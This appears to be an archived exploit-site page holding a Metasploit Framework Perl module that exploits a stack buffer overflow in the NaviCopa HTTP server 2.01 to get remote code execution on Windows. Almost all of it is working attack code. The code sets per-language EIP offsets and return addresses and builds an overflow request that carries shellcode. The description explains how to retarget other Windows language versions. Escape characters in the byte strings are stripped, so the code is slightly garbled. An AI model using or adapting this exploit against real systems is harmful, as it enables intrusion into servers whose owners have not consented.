Home / os / blackberry
navicopa-201.txt
Posted on 29 March 2007
## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::naviCopa_cgi; use base "Msf::Exploit"; use strict; use Pex::Text; my $advanced = { }; my $info = { 'Name' => 'Buffer Overflow in NaviCopa HTTP server 2.01 (cgi-bin)', 'Version' => '$Rev: 3818 $', 'Authors' => [ 'www.skillTube.com', ], 'Arch' => [ 'x86' ], 'OS' => [ 'win32' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'process' }, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'URL' => [1, 'DATA', 'The URL to the cgi-bin', '/cgi-bin/'], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'Payload' => { 'Space' => 900, 'BadChars' => "x00x26x3dx0ax0dx25x2bx2ex3f", }, 'Description' => Pex::Text::Freeform(qq{ This module exploits a stack overflow in the NaviCopa HTTP server 2.01 (release version 6th October 2006 or earlier). It is not the same vulnerability as the one described in BID 20250. The vulnerability was found by a member of skillTube.com and allows reliable code execution. The only thing that may vary is the path to the NaviCopa installation folder. On an English version of Windows, it resides in the c:\program files\navicopa directory. In that case, eip is overwritten with char 271 to 274. To add a new target version of Windows (e.g. Spanish, Italian etc.), you only need to change the offset to eip. As an example, in a German version of Windows, the installation directory of navicopa is c:\programme\navicopa. As a result, the path length is four characters shorter than on an English version of Windows. As a consequence, the offset to eip has to be increased by four. Exploit was successfully tested against Windows 2000, XP and Windows Vista (regardless of ASLR). }), 'Refs' => [ ['URL', 'http://www.skilltube.com'], ], 'DefaultTarget' => 0, 'Targets' => [ ['Universal exploit for all English versions of Windows (XP,2000,Vista)', 270, 0x1002c46f], # push esp, retn ['Universal exploit for all German versions of Windows (XP,2000,Vista)', 274, 0x1002c46f], # push esp, retn ], 'Keys' => ['naviCopa'], 'DisclosureDate' => 'March 2007', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_path = $self->GetVar('URL'); my $target_idx = $self->GetVar('TARGET'); my $shellcode =$self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; $self->PrintLine("[*] Attempting to exploit target " . $target->[0]); my $pattern = "A"x900; my $jmp = "xebx04"; substr($pattern, $target->[1] , 4, pack('V', $target->[2])); # ret substr($pattern, $target->[1] + 42, length($jmp), $jmp); substr($pattern, $target->[1] + 44 , 4, pack('V', $target->[2])); #edx substr($pattern, $target->[1] + 48 , length($shellcode), $shellcode); my $request = "GET $target_path$pattern HTTP/1.1 ". "Host: $target_host:$target_port "; my $s = Msf::Socket::Tcp->new ( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'LocalPort' => $self->GetVar('CPORT'), 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError) { $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host."); $s->Send($request); $self->PrintLine("[*] Waiting for a response..."); my $r = $s->Recv(-1, 5); $s->Close(); return; }